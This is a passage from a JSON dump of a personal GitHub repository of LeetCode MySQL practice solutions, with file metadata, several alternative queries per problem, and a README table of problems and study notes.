it with DepartmentId and DepartmentName as NULL\\nON e.DepartmentId=d.Id) t\\nWHERE t.rk <= 3\\n\\n# Solution 0_1, - window function, - but use inner/left join to reduce one layer\\n# beat (22% or) 5%\\nSELECT d.Name AS Department, e.Name as Employee, e.Salary as Salary\\nFROM (\\nSELECT DepartmentId, Name, Salary, DENSE_RANK() OVER(PARTITION BY DepartmentId ORDER BY Salary DESC) AS rk\\nFROM Employee) e\\n(INNER or) LEFT JOIN Department d\\nON e.DepartmentI\\n\\n\\n# Solution 1 - Record my own, beat 98%\\nSELECT d.Name AS Department, e1.Name AS Employee, e1.Salary\\nFROM Employee e1\\nJOIN Department d ON e1.DepartmentId = d.Id\\n\\nWHERE 3 >= (SELECT COUNT(e2.Salary) FROM\\n (SELECT DISTINCT DepartmentId, Salary FROM Employee) e2\\n WHERE e1.Salary <= e2.Salary AND e2.DepartmentId = e1.DepartmentId\\n )\\n\\n\\n# Solution 2 - from others\\nSELECT d.name AS Department, e1.Name AS Employee, e1.Salary\\nFROM Employee e1, Department d\\nWHERE e1.DepartmentId = d.Id\\nAND (SELECT COUNT(DISTINCT e2.Salary)\\n FROM Employee e2\\n WHERE e2.DepartmentId = e1.DepartmentId\\n AND e2.Salary > e1.Salary\\n ) < 3\\n\"\n },\n {\n \"alpha_fraction\": 0.6915000081062317,\n \"alphanum_fraction\": 0.7179999947547913,\n \"avg_line_length\": 27.16901397705078,\n \"blob_id\": \"4d78b4ced4f142a10c6d791e8fc1b79b4c29924a\",\n \"content_id\": \"f71410f7f903692b0a90a9d11182eef498805255\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 2000,\n \"license_type\": \"no_license\",\n \"max_line_length\": 158,\n \"num_lines\": 71,\n \"path\": \"/SQL/1212_Team_Scores_in_Football_Tournament.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n#Method 0 - beat 20% - IFNULL(SUM(..), 0) - if SUM(..) is NULL, then set it to be 0. (Note: SUM could be in IFNULL function)\\nSELECT t.team_id, t.team_name, IFNULL(SUM(s.score), 0) AS num_points\\nFROM Teams t\\n\\nLEFT JOIN\\n(SELECT m1.host_team AS team,\\n CASE WHEN host_goals>guest_goals THEN 3\\n WHEN host_goals=guest_goals THEN 1\\n ELSE 0 END AS score\\nFROM Matches m1\\n\\nUNION ALL\\n\\nSELECT m2.guest_team AS team,\\n CASE WHEN guest_goals>host_goals THEN 3\\n WHEN guest_goals=host_goals THEN 1\\n ELSE 0 END AS score\\nFROM Matches m2) s\\n\\nON t.team_id=s.team\\nGROUP BY t.team_id, t.team_name\\nORDER BY num_points DESC, t.team_id\\n\\n\\n# Method 1 - Use SUM + CASE WHEN to deal with NULL,\\n# ELSE 0 END must be at the end, not ELSE 1 END\\nSELECT t1.team_id, t1.team_name, SUM(CASE WHEN t2.my_goal>t2.op_goal THEN 3 WHEN t2.my_goal=t2.op_goal THEN 1 ELSE 0 END) AS num_points\\n\\nFROM Teams t1\\n\\nLEFT JOIN\\n\\n(SELECT host_team as id, host_goals as my_goal, guest_goals as op_goal\\nFROM Matches\\n\\nUNION ALL\\n\\nSELECT guest_team as id, guest_goals as my_goal, host_goals as op_goal\\nFROM Matches) t2\\n\\nON t1.team_id=t2.id\\n\\nGROUP BY t1.team_id, t1.team_name\\nORDER BY num_points DESC, t1.team_id ASC\\n\\n\\n# Method 2 - IFNULL deal with NULL, SUM should be at the inner level, not in IFULL: (Note: As proved later, SUM can be in inner level of IFNULL, see Method 0)\\n# function\\n# IFNULL could not use SUM inside directly\\nSELECT t.team_id, t.team_name, IFNULL(t.num_points, 0) AS num_points\\nFROM\\n(SELECT t1.team_id, t1.team_name, SUM(t2.point) AS num_points\\n\\nFROM Teams t1\\n\\nLEFT JOIN\\n\\n((SELECT host_team AS tid, CASE WHEN host_goals>guest_goals THEN 3 WHEN host_goals<guest_goals THEN 0 ELSE 1 END AS point\\nFROM Matches)\\n\\nUNION ALL\\n\\n(SELECT guest_team AS tid, CASE WHEN host_goals>guest_goals THEN 0 WHEN host_goals<guest_goals THEN 3 ELSE 1 END AS point\\nFROM Matches)) t2\\nON t2.tid=t1.team_id\\n\\nGROUP BY t1.team_id, t1.team_name\\n) t\\nORDER BY num_points DESC, t.team_id ASC\\n\"\n },\n {\n \"alpha_fraction\": 0.6651326417922974,\n \"alphanum_fraction\": 0.7026258707046509,\n \"avg_line_length\": 159.56521606445312,\n \"blob_id\": \"ee3cd4a0323e9a1d4782783ffa94b9e13bd70417\",\n \"content_id\": \"fcf329013a6dbfc717094f4ab380878339403638\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 7388,\n \"license_type\": \"no_license\",\n \"max_line_length\": 359,\n \"num_lines\": 46,\n \"path\": \"/README.md\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"### LeetcodeSQL\\n\\nAccording to frequency\\n\\n| ID | Title | Solution | Difficulty | Knowledge |\\n| ---- | ------------------------------------------------------------ | ------------------------------------------------------------ | ---------- | ---- |\\n| 176 | [Second Highest Salary](https://leetcode.com/problems/second-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/176_Sencond_Highest_Salary.py) | Easy | if not exist, return NULL |\\n| 175 | [Combine Two Tables](https://leetcode.com/problems/combine-two-tables/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/175_Combine_Two_Tables.py) | Easy | select sub-table before join |\\n| 177 | [Nth Highest Salary](https://leetcode.com/problems/nth-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/177_Nth_Highest_Salary.py) | Medium | CREATE FUNCTION, SET, MAX COUNT , LIMIT N,1 equals to LIMIT 1 OFFSET N |\\n| 262 | [Trips and Users](https://leetcode.com/problems/trips-and-users/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/262_Trips_and_Users.py) | Hard | CASE WHEN at inner loop, then SUM GROUP BY, ROUND, new name \\\"Cancellation Rate\\\" with a space, t.Request_at BETWEEN '2013-10-01' AND '2013-10-03' includes [2013-10-01, 2013-10-03] |\\n| 181 | [Employees Earning More Than Their Managers](https://leetcode.com/problems/employees-earning-more-than-their-managers/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/181_Employees_Earning_More_Than_Their_Managers.py) | Easy | tmp_table is faster than using entire table |\\n| 178 | [Rank Scores](https://leetcode.com/problems/rank-scores/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/178_Rank_Scores.py) | Medium | Rank consecutively, what if not consecutively, what if same score rank differently? |\\n| 1179 | [Reformat Department Table](https://leetcode.com/problems/reformat-department-table/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1179_Reformat_Department_Table.py) | Easy | CASE WHEN change column to differnt rows , PIVOT how? |\\n| 180 | [Consecutive Numbers](https://leetcode.com/problems/consecutive-numbers/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/180_Consecutive_Numbers.py) | Medium | Consecutive implement |\\n| 182 | [Duplicate Emails](https://leetcode.com/problems/duplicate-emails/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/182_Duplicate_Emails.py) | Easy | GROUP BY, HAVING COUNT(*)>1 |\\n| 1212 | [Team Scores in Football Tournament](https://leetcode.com/problems/team-scores-in-football-tournament/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1212_Team_Scores_in_Football_Tournament.py) | Medium | IFNULL(name, 0), ~~SUM() can not be in IFNULL function~~(IT CAN!), UNION ALL |\\n| 185 | [Department Top Three Salaries](https://leetcode.com/problems/department-top-three-salaries/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/185_Department_Top_Three_Salaries.py) | Hard | Top3 for different departments, window function: DENSE_RANK(PARTITION BY * ORDER BY * DESC) AS rk...WHERE rk <= 3 |\\n| 184 | [Department Highest Salary](https://leetcode.com/problems/department-highest-salary/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/184_Department_Highest_Salary.py) | Medium | Can use same method as 185, or use (MAX(Salary), DepartmentId) to check the highest |\\n| 183 | [Customers Who Never Order](https://leetcode.com/problems/customers-who-never-order/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/183_Customers_Who_Never_Order.py) | Easy | Not use IS NULL, IS NOT NULL in WEHRE clause, which can be slower |\\n| 196 | [Delete_Duplicate_Emails](https://leetcode.com/problems/delete-duplicate-emails/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/196_Delete_Duplicate_Emails.py) | Easy | MIN + GROUP BY, DELETE FROM|\\n| 197 | [Rising Temperature](https://leetcode.com/problems/rising-temperature/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/197_Rising_Temperature.py) | Easy | TO_DAYS, subdate|\\n| 1241 | [Number of Comments per Post](https://leetcode.com/problems/number-of-comments-per-post/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1241_Number_of_Comments_per_Post.py) | Easy | has to use IS NULL, IS NOT NULL in this case, IFNULL(cnt, 0) |\\n| 1270 | [All People Report to the Given Manager](https://leetcode.com/problems/all-people-report-to-the-given-manager/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1270_All_People_Report_to_the_Given_Manager.py) | Medium | chain join and join... |\\n| 618 | [Students Report By Geography](https://leetcode.com/problems/students-report-by-geography/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/618_Students_Report_By_Geography.py) | Hard | Why need those MAX ?? |\\n| 597 | [Friend Requests 1: Overall Acceptance Rate](https://leetcode.com/problems/friend-requests-i-overall-acceptance-rate/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/597_Friend_Requests_1_Overall_Acceptance_Rate.py) | Easy | IFNULL() |\\n| 1341 | [Movie Rating](https://leetcode.com/problems/movie-rating/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1341_Movie_Rating.py) | Medium | created_at=\\\"2020-02-15\\\" to get Februrary substring(created_at,1,7)=\\\"2020-02\\\", UNION, AVG=SUM/COUNT, ORDER BY..DESC, LIMIT 1 |\\n| 1142 | [User Activity for the Past 30 Days 2](https://leetcode.com/problems/user-activity-for-the-past-30-days-ii/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1142_User_Activity_for_the_Past_30_Days_2.py) | Easy | IFNULL, ROUND, DITEDIFF(biggerDate, smallerDate)<30 |\\n| 577 | [Employee Bonus](https://leetcode.com/problems/employee-bonus/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/577_employee_bonus.py) | Easy | Do not forget NULL |\\n| 626 | [Exchange Seats](https://leetcode.com/problems/exchange-seats/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/626_Exchange_Seats.py) | Medium | IF statement, and MOD(%) |\\n| 1312 | [Reported Posts 2](https://leetcode.com/problems/reported-posts-ii/) | [SQL](https://github.com/GuilinXie/LeetcodeSQL/blob/master/SQL/1312_Reported_Posts_2.py) | Medium | LEFT JOIN, COUNT right part / COUNT left part, null would be counting as 0 |\\n\\n\\n\\n### Optimization Idea:\\n1. Only select those columns that needed, when joining two tables, can first select sub-table for necessary columns. Eg. 175\\n\\n### Question:\\n1. How to deal with date, Unix timestamps \\n **created_at = \\\"2020-02-13\\\"** \\n **substring(created_at, 1, 7)=\\\"2020-02\\\"** -> to get Februray data, but **substring(created_at,6,7)=\\\"02\\\" does not get correct \\\"02\\\"**, need more information about this... \\n **Reason**: substring(created_at, 6, 2)=\\\"02\\\" should be the correct solution, as the 2 refers to the number of chars starting from position 6. BTW, the first char's index starting from 1, not 0.\\n \\n Reference:\\n 1. Leetcode\\n 2. SQL, create, read, update, delete:\\n https://blog.csdn.net/woaidapaopao/article/details/78030449\\n \\n\"\n },\n {\n \"alpha_fraction\": 0.633952260017395,\n \"alphanum_fraction\": 0.7188329100608826,\n \"avg_line_length\": 18.842105865478516,\n \"blob_id\": \"a62e69ae82f706c86e6b1800526474b42248276e\",\n \"content_id\": \"4dea7cd023cc891cbeb7231496c0d31aee82cf8d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 377,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 19,\n \"path\": \"/SQL/180_Consecutive_Numbers.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# beat 50%\\nSELECT DISTINCT l1.num AS ConsecutiveNums\\nFROM Logs l1, Logs l2, Logs l3\\nWHERE l1.Id = l2.Id - 1\\nAND l2.Id = l3.Id - 1\\nAND l1.num = l2.num\\nAND l2.num = l3.num\\n\\n# beat 25%\\nSELECT DISTINCT l1.Num AS ConsecutiveNums\\nFROM Logs l1\\nJOIN Logs l2\\nON l1.Id=l2.Id-1\\nJOIN Logs l3\\nON l2.Id=l3.Id-1\\nWHERE l1.Num=l2.Num\\nAND l2.Num=l3.Num\\n\"\n },\n {\n \"alpha_fraction\": 0.75,\n \"alphanum_fraction\": 0.765625,\n \"avg_line_length\": 35.71428680419922,\n \"blob_id\": \"0495a2667ad1c7bdcb24ed62b0e3a496a499462e\",\n \"content_id\": \"dc42dd095d7efa7ea34aac188bc397de2617a2ec\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 256,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 7,\n \"path\": \"/SQL/597_Friend_Requests_1_Overall_Acceptance_Rate.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"SELECT IFNULL(ROUND(r.total_accept / f.total_send, 2), 0.00) AS accept_rate\\nFROM\\n(SELECT COUNT(DISTINCT sender_id, send_to_id) AS total_send\\nFROM friend_request) f,\\n\\n(SELECT COUNT(DISTINCT requester_id, accepter_id) AS total_accept\\nFROM request_accepted) r\"\n },\n {\n \"alpha_fraction\": 0.7542372941970825,\n \"alphanum_fraction\": 0.7740113139152527,\n \"avg_line_length\": 24.35714340209961,\n \"blob_id\": \"496abbc499215933f8559e346c484c01718d96f6\",\n \"content_id\": \"a87b63fac89d4ece203c2fcf95fff36394ada9ad\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 354,\n \"license_type\": \"no_license\",\n \"max_line_length\": 68,\n \"num_lines\": 14,\n \"path\": \"/SQL/1241_Number_of_Comments_per_Post.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\nSELECT s1.sub_id AS post_id, IFNULL(s2.cnt, 0) AS number_of_comments\\nFROM\\n(SELECT DISTINCT sub_id\\nFROM Submissions\\nWHERE parent_id IS NULL\\n) s1\\nLEFT JOIN\\n(SELECT parent_id, COUNT(DISTINCT sub_id) AS cnt\\nFROM Submissions\\nWHERE parent_id is not NULL\\nGROUP BY parent_id) s2\\nON s1.sub_id=s2.parent_id\\nORDER BY post_id\"\n },\n {\n \"alpha_fraction\": 0.7245206832885742,\n \"alphanum_fraction\": 0.7497477531433105,\n \"avg_line_length\": 28.147058486938477,\n \"blob_id\": \"33b12095b656c90380cdb401003d20c805596ae4\",\n \"content_id\": \"7191a9bc0344e2ae99865d2cfd8ddf6fe9d868ac\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 991,\n \"license_type\": \"no_license\",\n \"max_line_length\": 128,\n \"num_lines\": 34,\n \"path\": \"/SQL/184_Department_Highest_Salary.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# Method 0 - beat 50% - window function\\nSELECT t.Department, t.Employee, t.Salary\\nFROM\\n(\\nSELECT d.Name AS Department, e.Name AS Employee, e.Salary, RANK() OVER(PARTITION BY e.DepartmentId ORDER BY e.Salary DESC) AS rk\\nFROM Employee e\\nJOIN Department d\\nON e.DepartmentId=d.Id\\n) t\\nWHERE rk=1\\n\\n\\n# Method 1 - beat 50%, similar to 185, Department top3\\nSELECT d.Name AS Department, e1.Name AS Employee, e1.Salary\\nFROM Employee e1\\nJOIN Department d\\nON e1.DepartmentId=d.Id\\nWHERE 1=(SELECT COUNT(e2.Salary)\\n FROM (SELECT DISTINCT DepartmentId, Salary FROM Employee) e2\\n WHERE e1.DepartmentId=e2.DepartmentId AND e1.Salary<=e2.Salary\\n )\\n\\n\\n# Method 2 - beat 98% - more direct using max for the highest\\nSELECT D.Name AS Department, E.Name AS Employee, E.Salary\\nFROM Employee E\\nINNER JOIN Department D\\nON E.DepartmentId=D.Id\\nWHERE (Salary, DepartmentId) IN\\n(SELECT MAX(Salary) AS Salary, DepartmentId\\nFROM Employee\\nGROUP BY DepartmentId)\\n\"\n },\n {\n \"alpha_fraction\": 0.703213632106781,\n \"alphanum_fraction\": 0.7599244117736816,\n \"avg_line_length\": 21.04166603088379,\n \"blob_id\": \"1b8a073da5ce1d22590d2b32282e7687b789b1c9\",\n \"content_id\": \"1f2d75a5f5a4b72e34e37bd6be015247ef249cdd\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 529,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 24,\n \"path\": \"/SQL/181_Employees_Earning_More_Than_Their_Managers.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\n# Method 1 - use tmp table, beat 80%\\nSELECT e1.Name AS Employee\\nFROM Employee e1\\nJOIN\\n(SELECT Id, Salary\\n FROM Employee) e2\\nON e1.ManagerId = e2.Id\\nWHERE e1.Salary>e2.Salary\\n\\n\\n# Method 2 - Use entire table directly, beat 50%, slower\\nSELECT e1.Name AS Employee\\nFROM Employee e1, Employee e2\\nWHERE e1.ManagerId=e2.Id\\nAND e1.Salary>e2.Salary\\n\\n# Method3 - LEFT JOIN, beat 50%\\nSELECT e1.Name AS Employee\\nFROM Employee e1\\nLEFT JOIN Employee e2\\nON e1.ManagerId=e2.Id\\nWHERE e1.Salary>e2.Salary\\n\"\n },\n {\n \"alpha_fraction\": 0.6744604110717773,\n \"alphanum_fraction\": 0.7248201370239258,\n \"avg_line_length\": 21.239999771118164,\n \"blob_id\": \"f71a412026a41153a0bfd447e2c19c86d224c089\",\n \"content_id\": \"974191d727d7d7414c3c89de693e10260937dc57\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 556,\n \"license_type\": \"no_license\",\n \"max_line_length\": 115,\n \"num_lines\": 25,\n \"path\": \"/SQL/262_Trips_and_Users.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Write your MySQL query statement below\\n\\nSELECT t.Request_at AS \\\"Day\\\", ROUND(SUM(cancel) / SUM(total), 2) AS \\\"Cancellation Rate\\\"\\n\\nFROM\\n(SELECT t1.Request_at,\\n CASE WHEN t1.Status=\\\"cancelled_by_driver\\\" THEN 1 WHEN t1.status=\\\"cancelled_by_client\\\" THEN 1 ELSE 0 END AS cancel,\\n 1 AS total\\n\\n FROM Trips t1\\n\\n WHERE t1.Client_Id IN\\n (SELECT DISTINCT Users_Id\\n FROM Users u\\n WHERE u.Banned=\\\"No\\\")\\n\\nAND\\nt1.Driver_Id IN\\n(SELECT DISTINCT Users_Id\\nFROM Users u\\nWHERE u.Banned = \\\"No\\\")\\n\\nAND t1.Request_at BETWEEN '2013-10-01' AND '2013-10-03'\\n) t\\nGROUP BY t.Request_at\\n\"\n },\n {\n \"alpha_fraction\": 0.6663244366645813,\n \"alphanum_fraction\": 0.6909651160240173,\n \"avg_line_length\": 23.350000381469727,\n \"blob_id\": \"166f1385adac6466c8ccfcd729044727078192a3\",\n \"content_id\": \"90332764aac4d6a5453f9060387000c56c706574\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 974,\n \"license_type\": \"no_license\",\n \"max_line_length\": 107,\n \"num_lines\": 40,\n \"path\": \"/SQL/177_Nth_Highest_Salary.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Method 1 - beat 45%\\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\\nBEGIN\\nSET N=N-1;\\n RETURN (\\n # Write your MySQL query statement below.\\n SELECT DISTINCT(Salary)\\n FROM Employee\\n UNION\\n SELECT NULL\\n# GROUP BY can be faster than DISTINCT\\n# GROUP BY Salary\\n ORDER BY Salary DESC LIMIT N,1\\n);\\nEND\\n\\n# Method 2 - beat 20% - DENSE_RANK(), suitable for Nth, need to clarify if it is a DENSE_RANK() or a RANK()\\n# DENSE_RANK(), 1,1,2,3,3,4...\\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\\nBEGIN\\n RETURN (\\n SELECT MAX(Salary)\\n FROM\\n (SELECT Salary, DENSE_RANK() OVER (ORDER BY Salary DESC) AS rk\\n FROM Employee\\n ) e\\n WHERE rk=N\\n );\\nEND\\n\\n# Method 3 - beat 10%\\nCREATE FUNCTION getNthHighestSalary(N INT) RETURNS INT\\nBEGIN\\n RETURN (\\n # Write your MySQL query statement below.\\nselect DISTINCT e1.salary\\nFROM Employee e1\\nWHERE N-1 = (SELECT COUNT(DISTINCT e2.Salary) FROM Employee e2 WHERE e1.Salary < e2.Salary)\\n);\\nEND\\n\"\n },\n {\n \"alpha_fraction\": 0.6959999799728394,\n \"alphanum_fraction\": 0.7440000176429749,\n \"avg_line_length\": 19.83333396911621,\n \"blob_id\": \"23cb447a3a998b2b4dc7b2e3e4436cd650d4037b\",\n \"content_id\": \"c17eb3b10d47de40412def0d269f4ece92ef6782\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 125,\n \"license_type\": \"no_license\",\n \"max_line_length\": 37,\n \"num_lines\": 6,\n \"path\": \"/SQL/577_employee_bonus.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# beat 28%\\nSELECT e.name, b.bonus\\nFROM Employee e\\nLEFT JOIN Bonus b\\nON e.empId=b.empId\\nWHERE b.bonus<1000 or b.bonus is NULL\\n\"\n },\n {\n \"alpha_fraction\": 0.7003366947174072,\n \"alphanum_fraction\": 0.752525269985199,\n \"avg_line_length\": 23.79166603088379,\n \"blob_id\": \"2b32b6cd3e4445377be0058d8b78aadf64ac1807\",\n \"content_id\": \"a7dcbff6eddf8767745b8fd9751bf19f9fb6c668\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 594,\n \"license_type\": \"no_license\",\n \"max_line_length\": 56,\n \"num_lines\": 24,\n \"path\": \"/SQL/1270_All_People_Report_to_the_Given_Manager.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Solution 1 - beat 65%\\nselect\\ne1.employee_id\\nfrom employees e1\\njoin employees e2 on e1.manager_id = e2.employee_id\\njoin employees e3 on e2.manager_id = e3.employee_id\\nwhere e3.manager_id = 1 and e1.employee_id != 1\\n\\n\\n# Solution 2 - beat 15%\\nselect\\nt.employee_id\\nfrom (\\nselect\\ne1.employee_id,\\ne2.manager_id as direct_manager,\\ne3.manager_id as indirect_manager\\nfrom employees e1\\nleft join employees e2 on e1.manager_id = e2.employee_id\\nleft join employees e3 on e2.manager_id = e3.employee_id\\n#order by e1.employee_id\\n)t\\nwhere t.indirect_manager = 1 and t.employee_id != 1\\nORDER BY t.employee_id\"\n },\n {\n \"alpha_fraction\": 0.5773993730545044,\n \"alphanum_fraction\": 0.6068111658096313,\n \"avg_line_length\": 42.13333511352539,\n \"blob_id\": \"1c0942bc004157f1af9986a4d2bc2eeb5c8ab7ea\",\n \"content_id\": \"4f034b033177005cbfac9d8bdf86f66e408ba42d\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 646,\n \"license_type\": \"no_license\",\n \"max_line_length\": 72,\n \"num_lines\": 15,\n \"path\": \"/SQL/618_Students_Report_By_Geography.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# beat 50%-80%\\nSELECT MAX(America) AS America, MAX(Asia) as Asia, MAX(Europe) AS Europe\\n#SELECT America, Asia, Europe\\nFROM (\\n SELECT\\n CASE WHEN continent = 'America' THEN @r1 := @r1 + 1\\n WHEN continent = 'Asia' THEN @r2 := @r2 + 1\\n WHEN continent = 'Europe' THEN @r3 := @r3 + 1 END id,\\n CASE WHEN continent = 'America' THEN name ELSE NULL END America,\\n CASE WHEN continent = 'Asia' THEN name ELSE NULL END Asia,\\n CASE WHEN continent = 'Europe' THEN name ELSE NULL END Europe\\n FROM student, (SELECT @r1 := 0, @r2 := 0, @r3 := 0) AS ids\\n ORDER BY name\\n) AS tempTable\\nGROUP BY id;\"\n },\n {\n \"alpha_fraction\": 0.7352941036224365,\n \"alphanum_fraction\": 0.7529411911964417,\n \"avg_line_length\": 23.35714340209961,\n \"blob_id\": \"e5a26b0ec21fc92d2cec68b2ccb5f8214414f17c\",\n \"content_id\": \"4c0243f69ce6e7b5d11ced0e0ec72ef3af1d9026\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 340,\n \"license_type\": \"no_license\",\n \"max_line_length\": 58,\n \"num_lines\": 14,\n \"path\": \"/SQL/175_Combine_Two_Tables.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Method 1 - beat 90% - select sub-table first before join\\nSELECT p.FirstName, p.LastName,t.City, t.State\\nFROM Person p\\nLEFT JOIN\\n(SELECT DISTINCT PersonId, City, State\\nFROM Address) t\\nON t.PersonId=p.PersonId\\n\\n\\n# Method 2 - beat 50%\\nSELECT p.FirstName, p.LastName, a.City, a.State\\nFROM Person p\\nLEFT JOIN Address a\\nON p.PersonId=a.PersonId\"\n },\n {\n \"alpha_fraction\": 0.688524603843689,\n \"alphanum_fraction\": 0.7081966996192932,\n \"avg_line_length\": 22.461538314819336,\n \"blob_id\": \"d7027138421ab2e2aedfa4b848fddfd9a4143f51\",\n \"content_id\": \"bb111dd304c5acd859a5dcf70d96e4395f369536\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 305,\n \"license_type\": \"no_license\",\n \"max_line_length\": 97,\n \"num_lines\": 13,\n \"path\": \"/SQL/1312_Reported_Posts_2.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# beat 50%\\nSELECT ROUND(AVG(cnt), 2) AS average_daily_percent \\nFROM\\n(\\nSELECT (COUNT(DISTINCT r.post_id)/ COUNT(DISTINCT a.post_id))*100 AS cnt # This line is so neat\\nFROM Actions a\\n\\nLEFT JOIN Removals r\\n\\nON a.post_id = r.post_id\\n\\nWHERE a.extra='spam' AND a.action = 'report'\\nGROUP BY a.action_date )tmp\\n\"\n },\n {\n \"alpha_fraction\": 0.695035457611084,\n \"alphanum_fraction\": 0.7151300311088562,\n \"avg_line_length\": 28.172412872314453,\n \"blob_id\": \"9a6c90fff55bcbca162f235f0877d7224673a9ab\",\n \"content_id\": \"921ebbcd5231451a9b2b419383bb7b10a63f5512\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 846,\n \"license_type\": \"no_license\",\n \"max_line_length\": 82,\n \"num_lines\": 29,\n \"path\": \"/SQL/176_Sencond_Highest_Salary.py\",\n \"repo_name\": \"GuilinXie/LeetcodeSQL\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Method 1 - beat 80%\\n# UNION NULL directly to get NULL\\nSELECT DISTINCT(Salary) AS SecondHighestSalary\\nFROM Employee\\nUNION\\nSELECT NULL\\nORDER BY SecondHighestSalary DESC\\nLIMIT 1,1\\n\\n# Method 2 - RANK() window function - beat 10%, slower but suitable for Nth salary\\n# Use MAX to return null if not exits.\\nSELECT MAX(Salary) AS SecondHighestSalary\\nFROM (\\n SELECT Salary, RANK() OVER (ORDER BY Salary DESC) RN\\n FROM Employee\\n) A\\nWHERE RN = 2\\n\\n# Method 3 - IFNULL\\nSELECT IFNULL((SELECT DISTINCT Salary\\n FROM Employee\\n ORDER BY Salary DESC\\n LIMIT 1,1) NULL) AS SecondHighestSalary\\n\\n# Method 4 - beat 50%, sometimes beat 90%..., 